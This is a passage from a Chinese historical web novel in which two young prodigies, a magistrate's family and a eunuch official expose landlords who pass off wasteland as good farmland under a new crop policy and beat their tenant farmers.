这国策下发,签订的总归是十五人,整合起来就是两千三百亩左右,但是这六个人却在其中掺水,偷摸的把荒田边角田谎报了进来。 直接就废掉了二百八十多亩。 虽说看起来占比不大,但这才是第一年,若产出不足,来年怎么让人继续加大投资?怎么让别的乡绅商贾加入? 怎么让朝廷看重这番薯玉米? 又怎么改税? 这是动了根本的大事情! 郭嘉看他脸色差成这样,心里明白这人是窝着火的,但事情也得说:“至于借农户的那些粮食,我只大概问了问,一户借得十石足有,涉及农户六十左右,也就是五百二十多石。” 说到这,他朝着周盈看过来:“这些粮食借出去,秋收也都是要还的。他们现在把这些粮食借给这批农户,农户们有饭吃了,就得帮着种田。” “但是这些荒田、劣田,总产出能有多少?等秋收后,能多少钱呢?那些粮食还不还的出,还是个大问题!” “砰——!”一阵巨响。 霎时间,屋内死一般的寂静,只有隔壁读书声响起。 只见周盈猛拍桌子,胸膛起伏,脸色极差:“混账!真是昏头了!这样的事情都做得出来?他们不怕逼死这些农户,县衙那边追究起来,掉脑袋吗?!” “这关乎国策的事情,怎么还敢这样糊弄?” 极少见到周盈这样怒火冲天的时候,郭嘉这会儿也愣怔了片刻,不过他很快就反应了过来,把剩余的核桃酥塞进嘴里。 吃完后,继续道:“这也不稀奇,这帮乡绅平日里收租习惯了,今年改种玉米番薯,也不知道收成怎么样,当然是不想改的。” “但是国策不允许,那怎么办?以次充好 ,这样一来,粮就虽然借出去了,田也给出去了,但自己亏损压到了最小。再有,等秋收了,玉米番薯种出来,这些农户还得把借的粮食还给他们。” “若是卖的价钱高,来年继续加大投入,收成低了……” 说到这,郭嘉也就不说话了,只是喝了口水,润了润嗓子。 因为两人都明白接下来应说的话是什么。 收成低,借的粮食还不起、亦或者勉强咬牙还掉,乡绅们的损失也不会太大。 这就是赤裸裸的,权衡利弊下,产生的现象。 周盈抿紧唇,眸色一闪间,朝着他看过去:“你过去的时候,这帮人有没有见到你?” “没有,我偷溜过去的,这你就放心吧。” 周盈颔首:“这事情必须得趁早解决,现今已经是二月中了,再过一个多月,就要往下种苗。” “嗯,你打算怎么办?” 听到这话,周盈哼笑了一声,挑眉间,原先那张清润秀气的脸,在些许阴影下,透出几分莫测的情绪来。 黑眸深邃,长睫翕动,唇启冷声道:“杀鸡儆猴。” “咱俩想法一样,抓个小的,抄家,这样一来,他们也总得掂量掂量自己。” “但这事情要怎么办?” 听到这话,周盈压下了火,冷着脸,垂下眼睑。 思忖着,一挥衣袖坐回到位置上:“咱们不能打草惊蛇,否则他们直接把帐全销毁了,就找不到把柄了。” “这样,六人里头,谁是领头的?谁平日里做的最过分?谁的名声和人缘最差?这些你查了吗?” 郭嘉听他这么问,自然是开口道:“都给你安排好了,这事情你交给我准放心。” “我给你个人选,孙念远。” 见他如此信誓旦旦,周盈这会儿也好奇了:“哦?说来听听。” “此人前些日子刚从南直隶回来,那船家也是我们的人。在山阴县算不得大乡绅,但与其余几个素来交好,算是有些人脉关系。却霸占农户田产,平日里花天酒地,姬妾成群。” “这些事情查都不用查,出去转一圈,就能打听到了。” 周盈这会儿气消了不少,冷静下来后,听了这样一段分析,心里思忖间,便点头道:“那就定他吧,这事情我去做。” “奉孝,你继续盯着这帮人,要是有什么情况,就立刻通知我。” 眼见着周盈起身,郭嘉心里也是叹了口气,这人总归是闲不下来,一听到事情就着急,想了想,他开口道:“外头下雨,你拿把伞吧。” “好。” 话语匆匆,人便在门口消失了。 郭嘉听着一旁朗读声响起,咬着点心,心里不知道在想些什么。 一入了春的山阴县,便下了连续几日的雨,这会儿田里也是泥泞不堪。 撑着伞,走在田间小径的孙念远,捋着小胡须,看着田里带着蓑衣,依旧忙着农活的几个佃农,满意地点了点头。 一旁,跑来个小厮。 “老爷!几位贵人这会儿都到厅里了,就等您了。” 104.第 104 章 “嗯?行了,你下去吧。”孙念远听了这话,本就不大的眼睛,这会儿眯的就更细了,看了一圈田里,干瘦的不成人样的佃农,琢磨着借出去的粮,应是让人饿不死。 这才转了身,朝着孙府方向走去。 一进门,里头哈哈大笑、你来我往的恭维声音便此起彼伏的。 “咱们几个,也算是山阴县有头有脸的人物,凭什么听那七八岁小娃娃的话?” “是啊!也是昏头了!当日竟签了这么张契约!” “哎!这也不是什么大事,咱们现在,把那些边角田、荒田报上去,这样一来,收成不好,那损失也就小了,收成好了,也是锦上添花的事。” “赵员外说的是,这法子好啊。”捋着胡须,坐在椅子上的富态中年男人,闻言也笑呵呵的点了点头。 见外头雨越下越大,等了也有一会儿了,怎还不见着人呢? 他好奇朝着边上小厮一问:“你家老爷呢?” “来了来了!”还没等小厮开口,孙念远依旧提着衣摆,踩着雨水汪塘,从大门口走了进来。 脸上带着笑,方一进屋,就朝着几个人拱手:“刚刚田里有点事情,这才耽搁了时间!诸位勿怪,勿怪。” “哪里的话,要不是老孙你提了这么个法子,咱们不知道还得损失多少!百亩的良田啊!都拿来种那所谓的玉米番薯?” 有人开口,语气都带着些许不满。 也有人迟疑:“这……谎报了这么多荒田、边角田上去,会不会出事情啊?毕竟朝廷是让咱们用良田种啊。” “害!哪里的事情,咱们只说报的是‘良田’,那胥吏都已经打点好了!谁能查得出来?” “就是,你胆子太小了!” 孙念远听着屋里几个人说话,低着头一笑,走到了正位上坐下,拿起泡好的茶,抹了抹茶沫子,抿了一口。 这才开口道:“国策是国策,但咱们的田,也确确实实拿出去了,粮也借出去了,谁能说咱们抗旨?” “再说了,这要是真亏,那亏的也是咱们,朝廷会给咱们担风险吗?” 一伙人听了他这话,脸上神情也都沉重了几分,有的家里田产数百亩,有的却没有那么多,拿出一半来改种番薯玉米,实在是……有些为难啊。 说来说去的,还是风险太大! 他们日子也难过。 朝廷光出政策,不出人,也不出钱,往外掏的粮食、成本费,全靠他们,这、这……谁愿意干呢? 就是那契约上明明白白写着,种的玉米番薯,能收回来,酿酒、磨面、还能晒成干粮、果腹等等,但说到底都得等秋收过后才能见着。 真有没有那么好,谁知道? 也是因这样的一笔帐,几个人才聚集在了一起,寻思商讨着,既能糊弄上头,又能隐瞒下头的法子。 说来也真是有趣,倒还真叫他们想出来了! 孙念远说的话,没人开口反驳,因为大家都在担心这件事情,因此,不少人脸色复杂。 “老孙,这事儿,你真的办妥了?这要是被查出来,咱们几个吃不了兜着走啊。” “老高,你就放心吧,我孙念远是什么人?在这山阴县里,也算是有头有脸的!那周盈算个什么东西?毛都没长齐的小子,也敢在饭局上,跟咱们侃侃而谈?” “当日,要不是张耀芳、杨岳等人在,我还非得给他颜色看看。” “如今是上了贼船,下不来台了!” 说到这,孙念远冷哼一声,手上茶杯猛朝着桌上一贯。 “哐当”一响,几个人目光都看了过来。 “这国策,能成成,不能成拉倒!想从咱们身上割肉,那绝对没门!” “总归,出了事,担责的是张智霖、高烨,还有那所谓的两个‘小神童’,跟咱们有什么关系?” 他这话说的,几个人心里也踏实了点,有人叹了口气:“咱们这也是没办法的事情,要怪也就只能怪朝廷,什么都不给,还要咱们往外拿,哪个人乐意这么干?” “这事,我看能行。” “那就这么说定吧,等会去,我算算有多少荒田、边角田,能多掺就多掺些。” “哎,那我也不多留了,先告辞了。” 孙念远站起身送了送:“慢些!” 等人都离开后,眯着眼冷哼一声,看着外有雨淅淅沥沥,他转过身走进门。 刚过了大门。 等在一旁的仆从走上前,低着头说道:“老爷,田头,有几个佃农在那边闹呢,沈管家叫小的过来问话,这事要怎么办?” 孙念远神色不变,略侧了侧身子,居高临下的瞥了他一眼:“你问我?” “……”仆人身子微不可察的抖了起来。 孙念远抬起头看向正前方:“左右都是一帮刁民,打,打死了,再换就是了,不值几个钱。” “是。” 见仆人匆匆跑了出去,孙念远手捏着小胡子,心想这帮刁民,真是不懂感恩,要不是他,早都饿死了! 粮食是他借的,田是他出的,闹能有什么用? 怪他太仁慈,也怪他太守规矩! 这粮借出去,等秋收后,不知道还能收回多少啊。 孙念远心想,算了,就当做个好事吧。 积点德。 孙府门外,几个出来的乡绅,打着伞,走到轿子边上,掀起帘子坐了进去。 不过多时,穿着蓑衣,头戴斗笠的车夫,从从容容的路过,只是瞄了一眼几顶轿子,随后驾着马车转了个弯。 随后朝着周府方向一路狂奔而去。 一路上,打着油纸伞来往的人,脚步匆匆。周盈走到张府门口,将伞收起来。 随后上前行礼道:“烦请通报,周盈前来拜访。” 原先昏昏欲睡的守门小厮,这会儿一听到声音,头猛地一抬,打了个哈欠,睡眼惺忪地打量了一眼。 随后眼睛猛地瞪大,瞳孔一缩:“哟、哟!周神童!周神童怎么来了!” “好好好!小的这就去汇报,周神童稍等!”小厮反应过来,连滚带爬似的,拔腿就往里跑进去。 边跑还边喊着:“老爷,少爷!周神童来了!” 引得一帮人面面相觑,朝着府邸门看过去,只看到周盈露出了一个尴尬不失礼貌的微笑。 人太出名的时候,总有各 种各样的烦恼。 比方说……被人围观。 “哎哟!贤侄啊,今儿怎么有兴致来咱们这串门了?来来来,快进来!”张耀芳一听外头咋咋呼呼的声音,屁股都还没在椅子上坐热,便直接蹦起来,朝着外头走。 他手提着衣摆,脚步挪动着,脸上笑呵呵,边上的仆人打着把油纸伞。 见着周盈的身影时,眼睛都亮了几分。 国策的事情推得越顺利,张家的好处就越大,这会儿张耀芳都把周盈当小贵人了。 周盈掀衣跨过门槛,走上前行了一礼:“匆忙赶来,未曾提前知会,实在是小侄的失礼。” 张耀芳忙上前扶起他,眯着眼睛笑道:“哪里的话,你来,我开心还来不及呢!” “走,有什么事情,进去说。张岱那臭小子,这会儿在后院里赶作业呢!” 一听这话,周盈也是忍俊不禁。 两个人边走边说着。 周盈道:“张师兄近来学业进步得快,我这个做师弟的,见着也为他开心。” 张耀芳哈哈一笑:“这也得多亏了你们!往日里,这臭小子,就知道出去跟那帮狐朋狗友花天酒地的,我让他多读书,考个功名,他当放屁!” 说到这,张耀芳就开始吹胡子瞪眼了:“老子说的话,倒还没有你们两个师弟说的有用,这、这也真是……欸!” 周盈莞尔,语气委婉几分:“年轻人性子活泼,整日里若是只顾坐在屋里读书写字,自然也是坐不住的。张师兄也是身边缺个带的同辈,我和嘉弟虽不才,但念着张师兄以往对咱们的好,有些本事也就都掏出来教教。” “教的不好,还请张伯父勿怪。” 他说到这,也就行了个礼。 张耀芳一闻言,心里那可美的很,脸上都满面红光了,这一看周盈再行礼,只觉神童之美名,果真不凡! 这孩子又聪明又懂事!知书达理,还心善,懂得知恩图报啊! “哎哟,你这……快起来!” “就当张府是自己家,你张伯父虽没什么大本事,但在这山阴县里,也还是能说说话的。” 有些枯槁苍老的手,摁在周盈修长白皙的手上。周盈闻言一笑,微弯起的眼眸一闪间,刚想再说什么。 就听到一阵咋呼声音响起:“哪?在哪?周师弟来了吗?” 未见其人先闻其声。 紧接着,一道身影便从走廊拐了出来,脸上神情带着欣喜。 脚步匆匆间,衣袂飞扬,却正是张岱。见他袖子上都沾了些笔墨,一身浅绿衣衫,如今可称之为墨花泼云图。 周盈也有些忍不住笑了笑。 “小师弟!你怎么来了?”见着人影,张岱眼中顿时一笑,忙走上前。 张耀芳见自家小子这般跳脱,这会儿也是小哼一声:“你看你这穿的!像什么话!家里是没有好衣服了?穿成这样出来见客人?懂不懂礼数?” “哎呀!爹,周师弟算是什么客人,这都是自己人了,我穿什么都行,我不穿我——呃,还是得穿。” 张岱话截了头,把周盈都逗乐了。 张耀芳一听,那更是没脾气了,真是混不吝的! 105.第 105 章 几个人进了屋。 周盈坐到了位置上,看着边上张岱使唤着家仆上茶上点心。 想到自己今天来的目的,便开口道:“也不用这般大费周章了,我今天来,也是有原因的。” 屋里两个人听他这般说,便也都好奇看了过来。 张岱道:“小师弟可是遇到了什么难处?咱们张府能帮尽量帮,你说就是了,还卖什么关子。” 张耀芳虽没有开口,但心里也就是这么个意思。 眼看着茶跟点心都上来了,周盈浅叹一口气,脸上带了些为难:“还真是一件为难的事情,要张伯父出面。” “哦?贤侄不妨细细说来。”张耀芳一听这话,拿起杯子的手也顿了顿。 周盈手上袖子一抬,两只手端放在膝盖上,脸上神情复杂之间,语气都带了些难言之隐。 “这…事关国策。我前些天,不是盯着那些改种番薯玉米的田吗?” “其他家的,咱们也见不着,奉孝担心,便去各家偷偷看了一眼。结果这不看不好,一看……把我们的魂都吓掉了。” 他话说得有些一惊一乍,把张耀芳手上茶杯都暂停了下来,一张脸上,原先带着的笑意也紧随着消失。 张岱拿了块点心吃着,听到这话,便着急道:“小师弟,别卖关子了!国策的事情,咱们张家最是要紧,皇上就指示着咱们盯紧点呢!” “我这也是不知道怎么开口,张师兄勿怪,实在是事情太恶劣了。” 周盈叹了口气,继续道:“孙念远等六个人,报上来的良田有五百多亩,我们便也以为都是实在的。结果奉孝一个人偷偷去看了一眼,这就出了问题。” “可是那些良田中,掺了些劣田?”这是张耀芳开口说的。 周盈闻言,冷笑一声:“若只是掺了些劣田,倒也还则罢了!这帮人……不知道哪里想的法子,直接把那些边角田、荒田,拿来滥竽充数!” “如今一算,约莫有两百多亩田,全是种不得幼苗的!便是种下去,秋天的收成肯定也不好!” “且他们借出去的那些粮食,等秋收后,还得让农户们原封不动的还上,这一旦收成不好,农户没钱赚,怎么还?还了会不会饿死?” “要是出了人命,观望的那些人,谁还敢继续参与进来?这样一来,国策从根子里就坏了!到时候皇上怪罪下来,咱们反倒是要先被斩首抄家了!” 他说的话句句条理清晰,但语气也带着几分怒意,说到最后,白皙的脸上都阴沉的能滴出水来。 张岱心里一跳,听了这话,点心也不吃了,满脑子只有:他们怎么敢?! 胸口怒火也是蹭一下子往上冒,当下就把点心塞进嘴里,咀嚼几下咽下去:“这帮人敢在咱们眼皮子底下搞事情?他们是疯了不成?阳奉阴违?是不是勾结了那帮胥吏?” 张耀芳眯起眼,手上放下茶杯。 随后。 胸膛起伏着。 猛一拍桌! 巨响下,屋内两人都看了过去。 张耀芳站起身,手负在身后,看着外头雨淅淅沥沥,声音带着几分冷色:“当真是不把我们几个放在了眼里。这国策兹事体大,他们竟敢直接用边角田、荒田充数,真当以为!这山阴县是他们可以只手遮天的吗!” “如今高公公还没有走!他们就敢这样欺上瞒下了,真是蠢货!蛀虫!” 周盈听着张耀芳在那儿发火,自己则是低头拿起了茶杯,抿了一口润了润嗓子,说了那么多话,他实在是口渴。 张岱比几个人都着急,直接站起来朝着张耀芳道:“爹!这事情不能就这么算了,我看这帮人不跳黄河心不死,干脆直接大办一场,把他们家抄了,看谁还敢这样阳奉阴违!” 张耀芳一听这话,转过头,冷着脸:“你把他们家全抄了,谁再敢帮着做事?再说了,国策推行还要这帮乡绅出力,此事只可尽量控制着办,不可大张旗鼓办。” “打草惊蛇,让人心慌慌,谁敢继续提着脑袋办事情?” 这话说的是在理的,毕竟这帮乡绅闹出这档子事情,本也就是想着给自己省一些损失罢了,虽说事情做出来,实在让人咬牙切齿!目无王法! 但把六个人的家全抄了,现今还在围观的,亦或者已经参与进来的,别着脑袋做事情,那就得再掂量掂量了。 解决问题是为了解决后顾之忧,不是为了再生成一个问题。 周盈放下杯子,思忖之间开口道:“小侄倒是有个法子。” “哦?” “那孙念远是领头人,他在咱们山阴县,也就是个中等小地主,有些人脉打点关系,却也非背景雄厚,咱们拿他开刀。” “抄了他的家,再敲打一下其他人,叫心思活络的人,看着点,注意着点,也就行了。” “事情不能办的太过,也不能逼急了人,这样就很难继续办下去。” 周盈说完这句话,浅叹了口气,看向了张岱:“张师兄,还有一件事情要你去办。” “嗯?我?” “嗯。” 说到这,周盈看了一眼张耀芳,对方点了点头,眼里透露出几分欣赏之色,周盈莞尔。 这才继续开口道:“去找杨师兄。他那的淮阳盐商,做买卖最讲‘诚信’二字,现今国策参与者里头,出了这么几个大蛀虫,万一事情办不成,其余一些,难道能讨得了好?” 张岱闻言,恍然大悟一般,一锤手心道:“我怎么没想到?你这是要借着其他人的怒火,清理这些害虫?” “这叫,以子之矛攻子之盾。”张耀芳无语地摇了摇头,叹了口气。 心想着,怎么别人家的儿子,就是聪明点呢?自己这个儿子,看起来卖相倒也不错,可里子怎就是个老实人?脑子转的慢就算了,半点政治嗅觉都没有。 欸……愁死个人了。 周盈轻笑:“张师兄能听出我这话里的意思,已经是聪明人了。” 张岱有些骄傲。 张耀芳冷哼:“你一夸他,他就翘尾巴!还是别夸了。” “爹!你怎么能这样,长他人志气,灭自己儿子威风?” “怎么?我说错了?你啊!学着点儿吧!” 谈完这些事情,周盈匆匆出了张府大门,刚 打起油纸伞的功夫,就看到一辆马车稳稳当当的停在了自己面前。 随后,带着斗笠、蓑衣的车夫跳了下来,行了一礼道:“小少爷。” 周盈闻言,皱了皱眉,也没说什么,上了车。 车辆扬长而去。 颠簸间,等离开了张府后,车夫这才开口道:“郭小少爷让我跟您说,那几个人刚从孙念远府上出来,应是谈了些什么。” “郭小少爷还说了,让您尽量先去按住这帮人,否则他们串通起来,等到了明后天,这事情就成了糊涂账。” 周盈在车里头听了这话,脸色微变,随后冷笑一声,倒是好本事,公然在他眼皮子底下,商议着怎么把国策搅黄? 看来这帮人,是真不见点血,威慑不了的。 “走,咱们去找高公公。” “好嘞,您坐稳。” 周盈前脚刚出了张府,这后脚,张岱就脚步匆匆出了门,朝着杨府方向赶过去。 至于张耀芳,这会儿已经前往了县衙,应是和张智林商议事情去了。 孙府门外。 “哎哟!哎哟——!” “别打、别打了!!” “孙老爷!俺们错了!” “孙老爷,求您了!您给的那些田,哪里种的出东西!” 一片呜呼哀嚎,夹杂鞭子抽响的声音。 雨下的越来越大,将地上的血水冲刷一片,抹去原先的残忍痕迹。 跪在地上的几个干瘦的农户,这会儿头发湿拉拉黏在脸上,洗的发白的衣服上都打了好些补丁。 一鞭子下来! “pia——!” “啊!” 猛摔在地上,滚了一圈的影子,发抖着,手指甲龟裂着,从地上,默默的,颤抖的爬了起来。 脸上全是疤痕,身上的皮肉都有些烂了。 喉头全是血腥沫子,抬起头,只看到又一道鞭子,猛朝着他呼过来! “pia——pia——pia!” “你们这帮刁民!老爷借粮食给你们!已经是大恩大德!让你们去种田干活,却各个偷懒躲着?!” “是不是找死?啊?!”抄着鞭子的大汉,目露凶光,手上力道,一下比一下重,唾沫星子飞溅,咄咄逼人着,如恶虎扑食一般! 孙念远站在大门口,有些于心不忍,也或者是觉得脏了眼睛,叹了口气,转了转身子:“别打死了,好歹也是一口粮一口粮喂出来的。” “让他们跪着,跪够了,明白事了,就成了。” 那大汉闻言,狞笑一声:“是!” 随后,手上青筋暴起,抬起—— 呼啦破空。 声音唰一下,如振一般。 颤的雨滴飞溅,哀嚎声遍野。 凄凄惨惨,何其飘零! 收回伞,周盈进了高烨府邸。 “哎哟,周神童呀,咱干爹,这些天可都一直都惦记着您呢!前些天刚从孩儿笑沽得酒喝完了,刚还叫我出去打呢!”领路的小太监笑呵呵的,声音掐着,说话时候的谄媚劲儿,显然是早把周盈看成了贵人。 106.第 106 章 周盈闻言,倒也只是笑了笑,却依旧温和开口:“公公说的话,倒还折煞我了。我不过是个平头百姓,能得到高公公的赏识,这才能在山阴县,算个人物呢。” “小神童可真会说话,咱们都是些阉人,拿的都是皇上的恩赐,差事办好了,皇上就赏,差事没办好,皇上就罚,也都是身不由己。” 这小太监,说话油腔滑调,滑不溜秋,也难怪被高烨器重!一个模子里出来的! 周盈也没再说什么跟着穿过大堂,不过多时,就听到了一道笑声响起。 “周神童!有失远迎啊!”高烨今儿穿着一身藏青圆领袍,他笑呵呵的,脸上神情随和,身侧跟着个女眷。 周盈上前行了一礼:“高公公,打扰了您的闲情逸致,在下赔礼了。” “哎!可别。”高烨忙上前扶起他,上下打量间,浅叹一口气。 “好啊!过了个年,越发标志清俊了!” 周盈莞尔,长睫翕动间,似有些腼腆一般,手轻轻不易察觉的挣脱开来。 “高公公,在下前来,却也有一要事。” 高烨闻言,面不改色,看了一眼身旁女眷,那人便行了一礼退了下去。 再转向周盈之时,便挂上了笑:“来来来,走,外头雨太大了,进屋里谈。” 高烨的府邸看着不小,雕花木家具,用的茶盏都是上好的景德镇瓷器。那女眷低着头,将茶杯、点心放在桌上,行了一礼,这才退了下去。 周盈垂眸,拿着杯子,倒是没有喝,他在想要怎么说。 高烨轻抿了一口,见这小神童动作一顿,便开口道:“可是茶不合胃口?” “非也,是因……心中思虑,因而让高公公见笑了。”周盈似被惊醒一般,陪笑了声,低头抿了抿。 “哦?周神童,有事不妨直言?我虽是个阉人,但如今身负差事,若与国策有关,自是不能干看着。” 听到他这句话,周盈心里了然,唇一笑间,便叹了口气。 “是这样…方才,我刚从张师兄家过来。谈的事情,也确实跟国策有关。” 高烨眯起眼,手上的茶杯放到了一侧,靠着桌子。 周盈继续道:“年前,定好的十五人,出田两千三百多亩,高公公也是知道的。” “但前些日子,翻了翻账,却是发现了一些不妥当的地方。” 周盈眼看高烨脸色变了变,从原先笑呵呵的样子,变成了板着一张脸,面无表情的模样。 垂下眼睑继续道:“报的都是良田,但其中,有一部分人,真拿出来种番薯玉米的,却都是荒田、边角田,这样的田,怎么种的出东西呢?” “张大人听闻此事,也是气得不行,这会儿,已经去县衙找县令大人,商谈此事了。” 高烨没有直接一桌子,怒气冲冲的站起身,反倒是皱紧了眉头,思忖间,开口道:“这事情,是如何发现的?” “是奉孝,想着没什么事情,就一个人去看一看别家田翻得如何了。” 周盈说到这,语气也冷了些:“有些人,连田都还没翻,这不是明摆着,阳奉阴违吗?” “我看事情太大,想着自己一个人,摆不平这件事情,这才来找高公公,把几家的田都查一查,有没有纰漏的。” 听到他这样说,高烨心里盘算了一番,深叹一口气,站起身,冷哼道:“竟是糊弄到咱家这来了!这帮人,还真是不怕死啊!说是出良田,如今是心里反悔了!这就想了一出小把戏来,蒙蔽圣听?!” 他声音一提:“好!当真是有本事!我这就去查!查清楚,这批人里头,到底有哪些人!胆子这么大!竟连国策都敢动手脚!” 周盈闻言,心里这才是松了一口气,他主要是担心高烨这只滑不溜丢的老狐狸,一听要抄家、要背锅,便开始推脱起来。 好在,周盈也没打算让高烨直接动手抄孙念远的家,让对方去查查别家的账目到底有没有蹊跷,这也就够了。 只要是耽搁国策的事情,高烨自然心里比他更着急。 周盈见他这副表态,心里倒也安定了一些。也不久待,行礼告退之后,便出了门。 杨府门外,张岱匆匆赶到:“快,进去跟你们少爷说,出大事了!” 那被吓醒的仆人见状,嘟囔着,脸色也不太好,本想再说点什么。张岱见着来气,直接抬脚一踹:“动作麻利点,天天在这儿偷懒打瞌睡!耽搁事情唯你是问!” “哎哟!”这一脚不疼,但直接把人踹醒了!仆人瞪大眼睛,一看差点没把自己魂吓出来。 “张相公!哎、哎!小的这就去!” 眼看着人影一溜烟跑没影了,张岱叉着腰,在大门口转来转去,心里实在是觉得有些不安生,想了想,皱眉间,直接一甩袖提起衣摆朝里头走去。 这都什么时候了!还等着通报呢! “宗吕!宗吕你在不在家!有事!急事啊!事关国策!快出来!” 嗯……张岱就这么,当场踹门了。 把屋里,这会儿还在紧赶慢赶作业的杨业,吓的手上一哆嗦,笔墨滴在了宣纸上。 好一幅,墨梅图! 杨业叹了口气,这几天忙着赶作业,他也实在是没心情打理自己,听到张岱那鬼嚎般的动静,这才放下笔走了出去。 “来了,你嚎什么?” 张岱眼睛一亮,但随后转头看了一圈:“你爹呢?” “他有事出去了,怎么?你这……”杨业看他衣服上墨迹斑斑的,一时间也笑出声了。 “宗子,看不出来,你还挺有艺术天赋的。” “……” 张岱一挥袖子,扯着他直接开口:“我不跟你多说别的!国策出事情了!小师弟刚上我家,说是孙念远那帮人,心里是反悔了!五百多亩的良田报上来,结果有两百八十多全是荒田、边角田!这能种个什么?” “我看他们存心是想把国策搅黄!到时候咱们都吃不了兜着走!全得掉脑袋!他孙念远心里就舒坦了!真是小人行径!” 他这话说的突突突的,火药味极重 。但杨业从中听得了严重问题,脸色猛地一变,朝着他开口道:“小师弟现在在哪?” “啊、啊?他……去找高烨了。” “哦对了,小师弟还说了,叫你和你爹,赶紧的!把事情跟其他商贾说一说,这事情但凡牵扯起来,咱们全都逃不掉!” 杨业深呼吸一口气,黑着脸,心里不知道在盘算什么:“真是一帮混账!这事情我知道了,我马上去办。” “行,那我就不多久留了,我得回去找小师弟去!” “好。” 两人谈完事情,张岱这便匆匆离开了。杨业站在院子里,见人影消失,随后转头朝着身后的管家道:“快,把账算一算,该清的清了,不要把东西弄得太难看,等会儿高公公来查,你们如实相告。” “是。” 说完这些,杨业挥袖朝外走去。 雨声渐小,脚步匆匆。 觥筹交错,姬妾戏谑,坐在位置上,慵懒眯着眼,听着小曲儿的富态中年男人,手打着拍子,看着弹着琵琶,眉眼含情的女子。 不免的,露出些许笑意。 “好……好曲!” 听到他这般说话,边上依着的小妾,眼里闪了些许不满:“老爷!老爷这是有了新人,便忘了咱们旧人了?” “哟?哪儿的话?”中年男人听着她声音,刚还想开口说点什么,屋门外就走进来了个仆人。 微微拱手行礼:“老爷,府门外,孙老爷的管家求见。” 中年男人闻言,不免的微微皱了皱眉。心里有被打搅了享受的不满,但随即一想,还是正事要紧些:“你们都下去吧!” “是!” 沈管家跟着仆人引路,走进门后,行了一礼,小胡须一翘,看了一眼中年男子,陪笑着开口道:“高老爷,小的这是得了咱家老爷吩咐,来您这儿通个信呢。” 高老爷点了点头,带着玉扳指的手将杯子放在一侧:“我知道了,这事儿他孙念远既然提了,我还会赖不成?” “把账做一做,胥吏这边也都打点好了,人我都心里清楚!到时候……便是上头查,也查不出什么名堂!” 高老爷说着这话,心里也是舒坦了一些,国策的事情,跟他们关系也没那么大,却偏要他们出这么多田、粮、银子? 这买卖,当时听着觉得不错。 但后头细想,却总觉风险太大!若是种不出来怎么办?若是来年欠收,那不亏死! 高老爷冷哼一声,想到当日在宴席上侃侃而谈的周盈,不免的,心里也有点儿不舒服。 “欸!是……只是,还有一事。”沈管家笑呵呵的,半点没有先前在府门口,下令鞭挞农户的残忍。 他只是迟疑了一下,又开口道:“若是到时候,张县令真追查起来,咱们又要怎么办呢?” 高老爷“啧”了一声:“事情我会办妥!他孙念远,就把心放在肚子里吧!只要能把这事糊弄过去,咱们都是一条船上的蚂蚱,我还能坑他不成!” “是是是…” 107.第 107 章 沈管家点头哈腰,心里还在盘算着什么呢,还想开口,就听高老爷手上杯子“当啷”放下。 拍了拍桌子,脸色有些难看:“还有什要说的?!废话这么多!他孙念远,这小心那小心!干脆事情不办了!” “你滚回去,跟他说!事情要办就听我的!不办那他自个儿去交田去!” 眼看着高老爷火气上来,沈管家心里也是吓得咯噔一跳,小胡子都一颤一颤,弯腰行了一礼,也就硬着头皮陪笑:“这、这……在下也是……” “我叫你滚!你听不见?!” “……”沈管家心里策马奔腾,拱手,擦了擦汗,转身门外走去。 见着没了人,高老爷深吸一口气,眯起的眼里头都带了些许的阴狠。 这厢,沈管家出了府门,朝着高府大门啐了一口,脸上神情稍微缓和了一些。心里思忖老爷吩咐的事情没办妥,回去这得怎么交差呢? 叹了口气,想了想,转头看了一眼紧闭的大门,想上去敲,却又担忧再三。 眼看着外头雨逐渐的停了,沈管家脚步踩着台阶往下走,走远了一些,总觉得不能这样就回去! 否则他吃不了兜着走! 也就在拐角的功夫,他咬咬牙,心一横,转身刚要朝着高府走去。 紧接着脚步一顿。 瞪大眼睛,瞳孔一缩间。 却是看到,高烨带领了一帮人,脚步不急不缓,朝着高府大门走来。 他们没见着沈管家。 高烨手一挥,一群人就把高府围住了。 “开门!官府查案!” 一声喝响,高府大门紧闭。 不远处的沈管家,身子一个哆嗦,猛一转身,也不多做久留,朝着孙府方向就是撒丫子狂奔! 出大事了! 一时间,整个山阴县内,数十家府邸,顿时被官兵围住,不少人路过门前,指指点点。 周盈出了县衙大门,看了一眼上方的牌匾,叹了口气,心想事情他该做的都做了,去看看那些农户吧。 孙府门外,这会儿跪着的一批农户,如今身上皮肉展开,血肉模糊,脸色苍白,发抖着,喊得声音都没了什么力气。 “求……老爷开恩。” 磕头声音响起。 又闷又沉。 一旁,喘着气,脸上全是汗水的大汉,手甩了甩鞭子:“好、好啊!骨头够硬!” 他冷哼一声。 手抄起,继续! 跑回来的沈管家,这会儿头发乱了,早已来不及多看一眼府门口发生的事情,脚上一抬,直接朝着门里走。 “老爷!老爷出大事了!” 一嗓子吼,直接把里头坐在位置上,正尝着点心,喝着茶的孙念远,嚎得皱了皱眉。 他细嚼慢咽咀嚼着,手放下杯子,看到沈管家衣衫褴褛,大惊失色小跑进来的样子。 脸色也变了变:“怎么?是高志远不肯?” “哎哟喂!这还管高志远什么呀!我的老爷哟!出大事情了!”沈管家也急了。 嘴里头继续开口道:“我这刚出府,就看到高公公,直接带着一帮人,围住了高府!那来势汹汹的样子,眼看着就不对劲!这才匆匆赶回来呢!” 孙念远一听这话,顿时猛站起身,脸色勃然一变:“有没有人看到你?” “没有!老爷,咱们赶紧想个办法!外头那些人得都解决了,还有账目!还有……” “还有荒田里的那些农户!”孙念远说话间,咬牙切齿了一下,眼神一冷。 沈管家被抢了话头,眨了眨眼睛,似乎是想明白了什么,只觉背后一阵寒意往上升。 “老爷?咱们……” “你,去,把那帮人都解决了,记得,谁要是不肯闭上嘴,那就都弄干净点!”孙念远这会儿脑子疯狂转悠,脸色阴沉着透露出几分狠来。 既然没办法,倒不如索性做绝了些!先糊弄过去,后头的事情再说! 总归……阳奉阴违的不是只有他! 法不责众。 沈管家匆匆出门。 孙念远走出府邸,看着门口血肉刺啦的场景,本就烦闷的心情,这会儿顿时爆发了。 “都什么时候了!还在这儿闹事!” “来人,把这帮人全都关进柴房,仔细盯着!” 这一声直接把一帮抄着鞭子的大汉吓了一跳。这不是老爷你说的……要打吗? “还愣着干嘛?!” “哦、哦!”几个人回过神,立刻上前搀扶起几个农户,有些都已经昏死了过去,提起来死沉死沉的。 周府的马车停在了泥泞路旁。 周盈这会儿站在田边,听着郭嘉说的话,脸色也阴沉了不少。 